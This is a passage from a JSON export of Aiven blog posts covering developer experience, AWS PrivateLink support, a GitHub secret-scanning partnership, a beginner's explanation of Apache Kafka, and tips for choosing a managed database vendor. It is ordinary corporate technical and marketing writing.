of course, but they play a crucial role). It seems like a no-brainer that companies would want to keep them productive, especially since good devs don’t come cheap. In fact, these days, it may be that good devs don’t come to your company _at all_, since they can pick and choose where they want to work. Would you want an employer that doesn’t care about your well-being and your ability to do your job? No one does. \n\nYet that’s not what is happening across the board(room). Many organizations are short-changing their developer teams by wasting their time on adminstratrivia or downright blocking their access to the latest, most effective tools by mismanaging infrastructure- and tool-related processes. By doing this, they are missing out on the added value that the teams would otherwise bring.\n\n[In a recent study with Aiven, IDC calculated](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"IDC: Aiven cloud data services bring 340% three-year ROI | Aiven blog\") that with more efficient development teams, businesses might be opening the door to an annual benefit of $1.7 million.\n\nSounds insane? That figure is the annual average benefit seen by Aiven customers, estimated by themselves as the amount they save annually by using Aiven services. Most of that is due to developers being free to do their jobs, instead of maintaining infrastructure or navigating lengthy procurement processes.\n### A happy developer is a productive developer\nWhen employees are happy, focused and satisfied, the quality and quantity of their output increases. Any employer should know this. ([And act accordingly!](https://aiven.io/blog/why-your-boss-should-choose-aiven \"Why you(r boss) should choose Aiven | Aiven blog\"))\n\nWhat makes developers happy? Well, many things, of course, most of which aren’t even X-rated. However, when it comes to job satisfaction, the number one factor is being able to do the product development work they were hired to do. \n\n\u003e Teams are more productive and efficient when they can focus on creating added value.\n\n“Teams are more productive and efficient when they can focus on creating added value,” says Heikki Nousiainen, Aiven’s CTO. “On the other hand, when they work with real business solutions doing interesting and challenging stuff, without the infrastructure headaches and repetitive tasks, people find their jobs more meaningful.”\n\nHeikki remembers when his former employer F-Secure began to invest heavily in their developer experience. “The productivity really shot up fast. And it only makes sense. If you need a new tool or environment to make progress, and the procurement process takes weeks, it’s bound to slow you down.”\n\nA quick toolkitting process also has another benefit: innovation. “Developers can try out new things more easily. This makes it faster to solve tool issues and brings innovative solutions within reach of your developers.”\n### Increased mobility and easy recruitment with standardised tooling\nWith the worldwide shortage of developers, companies are always looking for new recruitment angles. The tools that a developer can work with can prove a powerful incentive to work with your company - even when the company’s products don’t provoke enthusiasm among applicants.\n\n\u003e The tools that a developer can work with can prove a powerful incentive to work with your company.\n\n“Companies in the traditional industries, for example, aren’t seen as exciting,” says Ben Laverton, Senior Account Executive who works extensively with Aiven’s customers and understands their needs. “Utilities or insurance, for example. I work with one company who tells me their brand is ‘boring’, according to their developer applicants, but who still manage to pull in serious talent by offering a first-class developer experience\t with cutting-edge tools and technologies.”\n\nNousiainen also finds that having a wide but controlled set of tools makes it easier for people to move between teams and projects. “Developers benefit because they can follow their passion, and the company benefits because resources can be targeted where they’re needed,” Nousiainen says.\n\nBesides, the quick turnaround cycle also means that the tools keep pace with product development. “If you release every week, and the process to switch tools takes fifteen weeks, that’s quite a few releases you have to make with a toolkit you know to be sub-optimal,” Nousiainen points out. \n\n## Wrapping up\nDEX is the grease in the gears of your product development process that keeps the wheels turning fast and the whole kaboodle nimble to steer. By centralising the processes around developer tooling, you’re not only making their management more integrated, you’re also keeping that load off the backs of the developers.\n\nAnd that gives you both happy developers and a happy bottom line!\n\n-------\n\nFollow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-22T00:00:00.000Z","seo":{"metaDescription":"Set up a Developer Experience team to take care of your developers - and your bottom line. Find out how DEX gives a competitive edge in software development.","metaImage":{"alt":"","asset":{"_ref":"image-7426e0ed629ed1b782ea359c4c412b1eb26e6ae7-1567x844-png","_type":"reference"}},"metaTitle":"Winning with Developer Experience"},"slug":{"_type":"slug","current":"/blog/winning-with-developer-experience"},"subtitle":"Set up a Developer Experience team to take care of your developers - and your bottom line. Find out how DEX gives a competitive edge in software development.","title":"Winning with Developer Experience"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7I5ab8PEr0f1APEB3xRV1U","_rev":"FJE9FJz5NeK3Yo2P5WWLWa","_type":"post","_updatedAt":"2023-06-19T08:20:07Z","authors":[],"body":"We’re happy to announce that Aiven services now support AWS PrivateLink for secure network connectivity. This new capability is an addition to the previously supported VPC peering and AWS Transit Gateway options as we continue to strengthen our customers’ ability to securely connect cloud and on-premise applications in their environments. \n\n[AWS PrivateLink](https://aws.amazon.com/privatelink/ \"AWS PrivateLink | Amazon.com\"), an AWS networking service, provides private connectivity between VPCs, Aiven services, and your on-premise networks without exposing your traffic to the public internet. Now you can easily create an Aiven service cluster with PrivateLink enabled, and securely connect to it from your VPC or on-premises network.\n## Why choose PrivateLink?\n\nAWS PrivateLink offers a secure connection to Aiven services and simplifies network management. AWS PrivateLink traffic is fully private and does not go through  the public internet. \n\nWith AWS PrivateLink you can reduce your vulnerability to brute force, distributed denial-of-service attacks and other threats. It allows you to use private IP connectivity, with your Aiven services functioning as though they were hosted directly on the same, private network. This means no more configuring firewalls, internet gateways, VPC peering connections, path definitions, or routing tables! It makes the management of complex networks much easier.  \n\nDo you have existing on-premise applications that you would like to migrate using Aiven services in the cloud? You can now migrate them easily and worry-free, as your traffic remains private and compliant with privacy policies. \n\n## Getting started with AWS PrivateLink in Aiven\nTo get started with AWS PrivateLink, see our help article  [Using AWS PrivateLink with Aiven services](https://help.aiven.io/en/articles/4820209-using-aws-privatelink-with-aiven-services). For pricing details, take a look at [our pricing page](https://aiven.io/pricing \"Pricing | Aiven website\").\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-16T00:00:00.000Z","seo":{"metaDescription":"Aiven services now support AWS PrivateLink for secure network connectivity. Find out what it means for you.","metaImage":{"alt":"","asset":{"_ref":"image-5c0fb9442c803a33cd43ba7dd4ffb2989c88036d-1567x844-png","_type":"reference"}},"metaTitle":"Announcing support for AWS PrivateLink"},"slug":{"_type":"slug","current":"/blog/announcing-support-for-aws-privatelink"},"subtitle":"Aiven services now support AWS PrivateLink for secure network connectivity. Find out what it means for you.","title":"Announcing support for AWS PrivateLink"}
{"__i18n_lang":"en","_createdAt":"2023-05-16T08:16:22Z","_id":"642cdf86-9fef-4fbc-94d0-b4a684adb3de","_rev":"YN8truRCqnchJPC7UzUuer","_type":"post","_updatedAt":"2024-11-25T14:00:03Z","authors":[{"_key":"724380f11071","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Have you ever accidentally committed a secret on GitHub and then wished you could go back in time? When you commit code to GitHub, all of the changes you make are visible to everyone who has access to that repository. Even if you unintentionally commit a secret to a repository, it can be accessed by anyone who has access to the repository. This could potentially lead to sensitive data being compromised or unauthorized actions being taken. In this blog, we’re excited to inform you about [Aiven’s partnership with GitHub](https://github.blog/changelog/2023-05-10-aiven-is-a-github-secret-scanning-partner/), customizing their [secret scanning program](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) to detect sensitive data specific to the Aiven environment.\n\n## The need for secret scanning\n\nCommitting secrets to GitHub is a common mistake, but it can have serious consequences. For example, if you commit an access key for a cloud provider, an attacker could use that key to spin up instances or access your resources. Similarly, if you commit a password to a database, an attacker could use that password to access the database and steal or modify data. \n\nFinding and fixing security vulnerabilities in code can be time-consuming and resource-intensive. Secret scanning automates this process by scanning code for potential security risks, saving developers valuable time and resources.\n\nMany regulatory requirements, such as PCI DSS and HIPAA, require that sensitive information be protected. Secret scanning helps ensure compliance with these regulations by identifying and preventing the exposure of sensitive information.\n\n## GitHub secret scanning - under the hood\n\nHow does GitHub recognize a string as a secret? Under the hood, GitHub secret scanning uses a combination of regular expressions and machine learning to detect secrets. The regular expressions are used to scan for known patterns, while the machine learning algorithms are used to identify new patterns that may indicate a secret.\n\nFor example, the action might scan for patterns like AWS_SECRET_ACCESS_KEY or API_KEY. When a secret is detected, GitHub raises a security alert, which is visible in the repository's security tab. The security alert includes information about the file and line number where the secret was detected, as well as a suggestion for how to remediate the issue.\n\nWhen a match of your secret format is found in a public source, a payload is sent to an HTTP endpoint of your choice. This endpoint can be specified by an individual or a company participating in the GitHub Secret Scanning Partner Program.\n\nThe following diagram is taken from the [GitHub documentation](https://docs.github.com/en/code-security/secret-scanning/secret-scanning-partner-program):\n\n\n![GitHub secret scanning flow diagram. A user pushes changes to a GitHub repository, which then runs regex patterns to identify secrets. Any matches are sent by GitHub to a verification endpoint owned by Aiven, or other services the user might use. If the secret is matched, the verification endpoint then revokes the secret and sends back an alert.](https://cdn.sanity.io/images/sczeoy4w/production/003b813b4311f2eb80e5fd691b5ca9ce3caf7c20-1440x640.webp)\n\n## Why is Aiven participating in the GitHub secret scanning partner program?\n\nAiven has partnered with GitHub to enable you to scan private repositories for Aiven secrets and API tokens, something that was previously only possible on public repositories. This helps you keep your confidential code as secure as your open source packages. \n\nPrivate repository scanning works a little differently than public repository scanning. When a match is found in a private repository, the repository admins and committer are alerted, and those responsible can manage the issue via the Security tab in GitHub. GitHub Enterprise customers with GitHub Advanced Security enabled can also configure push protection on private repositories, which will prevent any commits containing matching secrets from being pushed to a GitHub repository belonging to that Enterprise. GitHub enabled [push protection on all public repositories](https://github.blog/changelog/2023-05-09-secret-scannings-push-protection-is-available-on-public-repositories-for-free) on 9 May 2023.\n\nIn conclusion, Aiven's [partnership with GitHub](https://github.blog/changelog/2023-05-10-aiven-is-a-github-secret-scanning-partner/) on their secret scanning program is a significant step forward in helping customers keep their code and secrets safe. By informing customers if/when an Aiven token is leaked, Aiven is playing a vital role in the shared responsibility model for data infrastructure security. This proactive approach to security is essential for ensuring that sensitive information is protected and that compliance requirements are met. With Aiven and GitHub's secret scanning program, customers can feel confident that their code and secrets are safe and secure.\n\n\n## Further Reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)","categories":[{"_key":"fd9719466ae6","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"6f613cbb3b68","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Commitment is good, except when committing secrets: Aiven announces partnership with GitHub on secret scanning","asset":{"_ref":"image-8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844-png","_type":"reference"}},"publishedAt":"2023-05-18T16:05:18.188Z","related":[{"_key":"6dd95e6cf705","_ref":"3BTBvRIKQJ9GNeTL0gx9hS","_type":"reference"},{"_key":"ff03e044eab1","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"},{"_key":"7d60a1f6873e","_ref":"11X1jinOSlkROrjtJ5UT0k","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Commitment is good, except when committing secrets: Aiven announces partnership with GitHub on secret scanning","asset":{"_ref":"image-8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844-png","_type":"reference"}},"metaTitle":"Aiven \u0026 GitHub Secret Scanning Partnership for More Security"},"slug":{"_type":"slug","current":"/blog/aiven-and-github-secret-scanning-partnership"},"subtitle":"Announcing Aiven’s  partnership with GitHub's secret scanning program to protect your cloud data infrastructure","title":"Improving security: Aiven and GitHub's secret scanning partnership"}
{"__i18n_lang":"en","_createdAt":"2022-07-08T09:49:32Z","_id":"ElLnRMEzVGBvCslc1mXoT","_rev":"ejVwHgKe5k9eDWbchuP6cW","_type":"post","_updatedAt":"2024-07-11T12:05:12Z","authors":[{"_key":"3UGFZYFBoYjMPg7DR9R9YZ","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"}],"body":"## Apache Kafka® simply explained with an e-commerce project example\n\n[Apache Kafka®](https://aiven.io/docs/products/kafka/concepts) is widely used in the industry, but the learning curve can be steep and understanding the building blocks of this technology can be challenging. That's why the goal for this article is to look at the fundamentals of Apache Kafka in simple terms. \n\n### Apache Kafka in a nutshell\n\nApache Kafka is **an event streaming platform** that is distributed, scalable, high-throughput, low-latency, and has a very large ecosystem.\n\nOr, simply put, it is **a platform to handle transportation of messages** across your multiple systems, multiple microservices, or any other working modules. This can be just frontend/backend applications, a set of IoT devices, or some other modules.\n\nApache Kafka platform is **distributed**, meaning that it relies on multiple servers, with data replicated over multiple locations, making sure that if some servers fail, we're still fine.\n\nIt is **scalable** and you can have as many servers as you need. You can start small and add more servers as your system grows. These servers can handle trillions of messages per day, ending up in petabytes of data persistently stored over disks.\n\nAnd what is great about Apache Kafka is its **community** and **a wide ecosystem** surrounding the technology. This includes the client libraries available for different programming languages and a set of data connectors to integrate Kafka with your existing external systems. Thus, you don't need to reinvent the wheel to start using Apache Kafka, instead you can rely on the work of amazing developers who solved similar issues already.\n\n### Where Apache Kafka is used\nTo understand where the need for Apache Kafka is coming from, we'll look at an example of a product.\n\nImagine that we decided to build an e-commerce project. When starting to work on the project, maybe during its MVP (minimal viable product) stage, we chose to keep all subsystems next to each other as a single monolith. That's why, from the beginning, we kept our frontend and backend services, as well as the data store, closely interconnected.\n\n![Diagram of a simple monolith - a database is connected to services called frontend, delivery, payments and ordering, each of which is also connected to some of the others](https://cdn.sanity.io/images/sczeoy4w/production/0785b64b6bbaf8c47acded3cdd3adb25a9553392-1600x1100.png)\n\nThis might be not ideal, but at start this approach can be effective and will work as long as  we have a small number of users and a limited amount of functionality. \n\nHowever, once we start scaling and adding more and more modules (for example introducing a recommendation engine, notification service, etc.), very quickly the current architecture and the information flow will become a complete chaos which is difficult to support and expand. And with the development team growing, no single person will be able to keep up with the data flow of this product.\n\n![Diagram of a complex monolith - a database is connected to lots of services, which in turn are connected to each other. It's impossible to make sense of this diagram](https://cdn.sanity.io/images/sczeoy4w/production/9fbf16ab7e56d9dec53de715f9f115ac6828d098-1600x1100.png)\n\nThat's why eventually we'll need to have a tough conversation on how to split our monolith into a set of **independent microservices** with clear, agreed and documented **communication interfaces**.\n\nWhat's even more crucial, our new architecture must allow the product to rely on **real-time events**, where users don't have to wait till tomorrow to get meaningful recommendations based on their latest purchases. \n\nAnd this is a lot to ask. Introducing such processing of events is an immensely high volume operation and needs to be resistant to failures.\n\nLucky for us, these are exactly the challenges with which Apache Kafka can help. Apache Kafka is great at untangling data flows, simplifying the way we **handle real time data** and **decouple subsystems**.\n\n### Apache Kafka's way of thinking\n\nTo understand how Apache Kafka works, and how we can work with it effectively, we need to talk about Apache Kafka's way of thinking about data.\n\nThe approach which Apache Kafka takes is simple, but clever. Instead of working with data in the form of static objects, or final facts that are aggregated and stored in a database, Apache Kafka describes entities by **continuously arriving events**.\n\nFor example, in our e-commerce product we have a list of goods that we sell. Their availability and other characteristics can be presented in a database as numbers, as shown below.\n\n![A table. Columns are titled Name, Available, Sold and Searched. Row 1 is Laptop, 50, 20, 30. Row 2 is Bulb, 15, 3, 5. Row 3 is Puzzle, 6, 2, 7.](https://cdn.sanity.io/images/sczeoy4w/production/5631a94dcfca6d0071a322d02b39507f8d3be25f-1500x468.png)\n\nThis gives us some valuable information, some final aggregated results. However, we need to plan very carefully what information we store, so that it is sufficient to cover calculations of future insights. Since we don't know what the future holds, it is very tough to predict what data should be kept long term and what is safe to throw away.\n\nApache Kafka suggests that instead of storing aggregated object characteristics, we view this data as a flow of events:\n\n![Events occur along a timeline. Event 1 is customer 55 orders a laptop, Event 2 is customer 12 searches for a bulb, Event 3 is dispatch a laptop to customer 55, Event 4 is customer 12 orders 5 bulbs](https://cdn.sanity.io/images/sczeoy4w/production/13f52fb22318974c68c4f1fb10eac1176597984a-1600x734.png)\n\nThis flow shows the complete life cycle of a product purchase. And instead of seeing the aggregated final data, we observe the change of state.\n\nWe also can replay the events, if needed. We can start from the beginning, we can move to a certain point of time. \n\nNote that we can't change any of the events that already happened, but we can replay the events again and again, calculating metrics we need, answering different types of questions about the products and sails.\n\nThis type of architecture is actually called **event driven architecture** and, in the next section, we'll look at how Apache Kafka fits such architecture.\n\n### How Apache Kafka coordinates events\n\nAn Apache Kafka cluster coordinates data movement and takes care of the incoming messages. It uses a **push-pull model** to work with them. This means that on one side we have processes that create and push the messages into the cluster, they are called **producers**. On the other side, we have **consumers**, who pull, read and process the messages. \n\n![Producer A and Producer B both send messages to the Kafka cluster. There's a timeline of messages inside the cluster. Two consumers, one a database and one a phone app, read messages from the cluster.](https://cdn.sanity.io/images/sczeoy4w/production/c0db44fb8695a8b3d3d0c32abcdeda887d121a57-1600x602.png)\n\nProducers and consumers are applications which you write and control. You can have as many producers and consumers as you need.\n\nLooking at our e-commerce example, the producers can be part of the frontend applications, web and mobile apps. They will observe user actions, package information and send events to the cluster. The consumers can be connected to subsystems responsible for backend modules (in our example - notifications, deliveries, recommendation services). \n\nWhat is important, producers and consumers can be written in different languages, different platforms, completely not knowing of each other's existence. \nWe can shut down some producers and add others, meanwhile the consumers will not care that the messages were produced by some other entity, they wouldn't even realize that.\n\nIf a consumer gets broken, producers will continue working without issues, producing and sending new messages into Apache Kafka, where those messages will be stored in a persistent storage.  Once the consumer is restored, it doesn't need to restart from the beginning since its last read message information its persisted in the platform, it picks up where it left off, reading messages from this persistent storage.\n\nTherefore, there is **no synchronization expected** between the work of producers and consumers, they work at their own pace. And this is how this helps decoupling our systems.\n\nSo, now we know where messages come from and who later reads them, but how are they organized inside the Kafka cluster?\n\n### Topics and messages\n\nWe call the sequence of messages in Apache Kafka a **topic**. Topic is an abstract term, we'll come back to this later, but in short, it's not how stuff is physically stored on the disk, but rather, how we think of it to simplify things. \n\nYou can have as many topics as needed describing different types of event, similar to tables in databases. Coming back to our example, we can have a topic with information describing a product purchase lifecycle, another topic with user registration events or a topic with system health state events.   \n\n![There are 3 topics shown. Topic 1 contains User registration events. Topic 2 contains Product related events. Topic 3 contains Application events.](https://cdn.sanity.io/images/sczeoy4w/production/870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8-1600x1096.png)\n\n\nThe data is continuously flowing into the topics, there are no pauses, no breaks. As long as our application is working, we have new users registering, new products being purchased.\n\nThe messages are ordered. The position of each record is identified by its sequence number, which is known as its **offset**.\n\nThe messages are also immutable, you can't change records later. This is completely logical. For example, let's say someone buys a product at our shop, and we record an event for this action. Later we can't go back in time and change that fact. If the customer decides to return the product - this is a new event. In this way we modify state of objects by sending new events into the topic.\n\nYou can see a topic as a queue, but here is a twist - in Apache Kafka, unlike  in many other queue systems, the **consumed messages are not removed** from the queue and not destroyed. Instead, they can be read by multiple consumers multiple times if needed. In fact, this is a very common scenario, information from a topic will be used by multiple consuming applications for different needs, approaching data from different perspectives.\n\n### Brokers and partitions\n\nI already mentioned that Kafka cluster consists of multiple servers. These servers are called **brokers**. And topics are stored on them. Topics can have millions and possibly trillions of events. So we need to think how we're going to store these long sequences of records on the server.\n\nRemember I mentioned before that a topic is an abstract term. The topic itself is not a physical tangible thing stored as a whole on a single server.\nIt's probably neither reasonable nor feasible to keep a topic as a single piece of data on a single machine. Very probably one day the size of the topic will outgrow the server's memory. That's why it is very important that we scale horizontally, not vertically.\n\nTo achieve this we split a topic into multiple chunks stored across multiple machines. These chunks are called **partitions**.\nEach of the partitions is technically **a log of messages**. \n\n![A producer is sending Product related events, which get split up into 3 different partitions. Events for TVs and headphones are in partition 1, those for film and video game items in partition 2, and phones and wifi stations are in partition 3.](https://cdn.sanity.io/images/sczeoy4w/production/40b7bd841686ce166e1e718b5ca8daf543fe736d-1600x962.png)\n\nPartitions are self-sufficient entities. Each partition will independently maintain offset numbers for their own values. For us this means that the offsets make sense only within a single partition, across partitions there is no connection between those offsets.\n\nWhen I was saying before, that a producer writes to a topic, what I meant is that the producer writes to a set of partitions. And a consumer reads from the set of partitions.\n\nBehind the scenes our consumers and producers know how to work with multiple partitions.\n\n### Replications\n\nSo far we talked about topics, how they are divided into partitions and spread across brokers. Let's now dive one step deeper and talk about replications.\n\nTo remain highly available and prevent data loss, Apache Kafka replicates data across brokers. Replication happens at the  partition level. In particular, each of the brokers will hold several partitions. Now if any of the brokers experience issues, we can take the data for the partition from a different location.\n\n![There are 3 brokers, A, B and C. Each has 2 partitions. The content of the partitions is different, except that Broker B and Broker C replicate one partition - the events in the replicated partition are the same in both brokers](https://cdn.sanity.io/images/sczeoy4w/production/f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f-1600x634.png)\n\n\n### Apache Kafka connectors\n\nSo far we covered plenty of Apache Kafka concepts and building blocks. I wanted to share with you one more concept, a bit more advanced, but that can simplify connecting your applications to Apache Kafka.\n\nApache Kafka as we saw is a transmission mechanism. A very common scenario is when data is either already available in a source technology or needs to be pushed to a target destination. And this is where Apache Kafka Connect becomes very helpful. It is a tool to write connectors, that are used to integrate external data sources (such as PostgreSQL®, OpenSearch®, other databases and tools). These pre-built connectors can be used across multiple projects, and in fact, many of them are open sourced and supported by the community. Or if you encounter a connector that doesn't exist yet - you can create your own.\n\n### Next steps\n\nThis was quite a long journey and I hope you now understand better how Apache Kafka works. To dive deeper, check out these articles exploring detailed topics in the Kafka journey:\n- how you can create [a data generator to source data into Apache Kafka cluster](https://aiven.io/docs/products/kafka/howto/fake-sample-data.html), \n- how to use [kcat - a very handy utility to work with Apache Kafka from command line](https://aiven.io/docs/products/kafka/howto/kcat.html), \n- how to apply [Karapace schema registry to align the structure of data coming to Kafka cluster](https://aiven.io/blog/what-is-karapace),\n- how to use [Apache Kafka® to migrate across database technologies](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect).\n- or does [Apache Kafka® really preserve message ordering?](https://aiven.io/blog/kafka-real-ordering)\n- also have a look on [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)\n- and [Broker communication in Apache Kafka® 2.7 and beyond](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond)\n\nAlso see the earlier post, [What is Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka), for more in depth information and resources.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-c31a5beec3495239a39b77e78493b044ff95aacc-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-05T00:00:00.000Z","related":[{"_key":"bfc6d407f8f5","_ref":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_type":"reference"},{"_key":"28e5c51f70f5","_ref":"1AkIEGNslL6OW2zQtTlJJK","_type":"reference"}],"seo":{"metaDescription":"Learning Apache Kafka doesn’t have to be difficult. Read on to get a friendly explanation of the Apache Kafka fundamentals.","metaImage":{"alt":"","asset":{"_ref":"image-c31a5beec3495239a39b77e78493b044ff95aacc-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® simply explained"},"slug":{"_type":"slug","current":"/blog/kafka-simply-explained"},"subtitle":"Learning Apache Kafka doesn’t have to be difficult. Read on to get a friendly explanation of the Apache Kafka fundamentals.","title":"Apache Kafka® simply explained"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"345tLXQiuOhi4VoeHo3DES","_rev":"wguC7mbo0o2K8r1KhmaVlZ","_type":"post","_updatedAt":"2023-05-16T11:26:16Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":"  👉👉👉 [Click to watch the \"5 Tips for choosing a DBaaS vendor\" video](https://youtu.be/_7j3GlVqI-M \"David Esposito: 5 Tips for choosing a DBaaS vendor\")\n\nWhen it comes to running managed infrastructure in the cloud, I've been on both sides of the table: As a platform architect, I worked with microservice applications doing streaming IT automation. And as a solutions architect, I've worked with a lot of different companies, tech stacks, and problem spaces picking the right tool for the job.\n\nHere are five tips on when and why you might want to work with a cloud based database service provider and how you can go about picking the right one.\n\n## 1. Have a strong opinion about vendor lock-in\nVendor lock-in is anything that keeps you on the platform longer than you want to be there. It may or may not be a concern, but you should have a strong opinion about it. \n\nPeople usually think about proprietary features or sticky functionality, like machine learning out of the box, or a fancy control panel, or some automated deployment mechanism. Fair enough, but it may or may not be really needed. You should definitely know if it's just a nice-to-have feature or if it's required for your success as a company. \n\nBut the second part that people don't often think about is the refactor cost of moving away from the platform you chose. Is it just a simple configuration change in one repository - or is it a slightly more expensive configuration change across 300 microservices? Or does it mean refactoring your code entirely? Keep that question in mind when you're picking a technology vendor. Lock-in isn't always about features. Lock-in is anything that keeps you from moving away.\n\n## 2. Define acceptable downtime\nYou really need to start by defining what acceptable downtime is for your end users and then work backwards from there. What type of foundation do you need to build on to create an infrastructure that can provide your end users with the desired uptime SLA?\n\nUsually uptime SLA is measured in nines.\n\nThree nines, or 99.9%, uptime means about 45 minutes of downtime per month. The next denomination is usually 99.95%. That's about 20 minutes of downtime per month. And then four nines, 99.99%, is usually the highest industry standard, with about four minutes of downtime per month. Some services try to get a lot closer to five nines. However, you really need to figure out a good balance between engineering effort for uptime guarantees and building revenue-generating features. \n\nWhen you're looking at databases as a service, read the fine print in the SLA agreement. A lot of services are very upfront about what they include and what is excluded from the uptime SLA.\n\nFor example, look at the maintenance windows and make sure that you know what is the expected maintenance window, if there's any downtime associated with that, and whether that's included in the SLA or not. Some cloud services provide an SLA that includes a 10-minute maintenance window, but they exclude that from the downtime SLA measurement.\n\nSo if you think about the 99.95% and 99.99%, the four nines of uptime is four minutes of downtime per month. If you add 10 minutes to that, it gets you a lot closer to the 99.95%. Keep that in mind when you're selecting databases and services.\n## 3. Know your limitations\nWhether you've been running Postgres in production for 10 years or you're starting brand new with Kafka, make sure that you have the right expertise in the equation to make yourself successful. And REALLY be honest with yourself.\n\nIt's always a shared responsibility matrix of who does what and who owns the DBA responsibilities. So there's a whole continuum from application level data schema design and query optimization all the way down to server patching and maintenance. Make sure that you split up the responsibilities. If you need help with the data schema design or query optimization, make sure that the vendor has professional services you can obtain to get that help, or bring in a third party.\n\nBut make sure that you don't build in anti-patterns when you're starting with the new technology. Four months down the road it's not that much fun to deal with refactoring and hot-deploying fixes to production.\n\n## 4. Research hidden costs\nIf you're comparing a managed service provider against a DIY deployment, usually servers are really cheap in the cloud. People are going to be the most expensive component of that deployment. So make sure you factor in what it's going to cost for hiring DBA expertise, to ensure that you have everything you need to be successful. Make sure you know what it's going to cost to have the ops team available at 3:00 AM on a Saturday, and factor that in the people cost.\n\nIf you're comparing a DIY deployment against a cloud managed service provider, always factor in the hidden costs of the cloud, like networking. For example, when you're shipping data across regions, it becomes very expensive. To egress between regions for your services, or to egress your cloud, it's charged per gigabyte per month. So if you're thinking that you're going to be operating in the terabyte or petabyte per month level, you should absolutely calculate that out upfront to know what it's going to cost. \n\nAnd the other factor is to make sure you know the cost of enterprise features like security and compliance cost. If you need to upgrade a tier to get SSO login, or if you need to upgrade to get compliance or even VPC peering, that has great implications on the overall cost.\n## 5. Plan for growth together\nAt the end of the year, just like you do with your customers, every company wants to grow their revenue. You are a customer of the managed service provider, and they're going to want to grow your account. 10%, 20%, or maybe 50%. What's that going to look like at the end of the year?\n\nIf you're on GCP or AWS, maybe that just looks like adopting new services or just growing normally with scale. So you may be locked into a cloud deployment, or you may be locked into certain regions to get discounts, but you're not locked into a single service. \n\nAlternatively, if you pick a vendor that specializes in a certain technology, like Elastic.co, Confluent for Kafka, or Redis Labs, you may be locked into that one service.\n\nAnd when they try to grow your account, that's either increased usage or adopting new use cases into that technology. If you're pushing new use cases into a technology, just make sure that it's the right tool for the job. \n\nFor example, Kafka may or may not be the right choice to use as a database. I've used it like that in the past for smaller data sets where I need low latency changes, distributed across a clustered system, but there's cases where Kafka definitely wasn't the right answer for a database. So make sure you pick the right tool for the job.\n## Final words\nAbove all, remember, it's a partnership. You're passionate about what you're building and what you're selling to your end users. Make sure that they are, too! They're there to support you and grow with you.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nYou might also be interested in this APAC-centered webinar: [How cloud and open source technology help apac businesses thrive](https://www.aiven.fi/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive).\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related 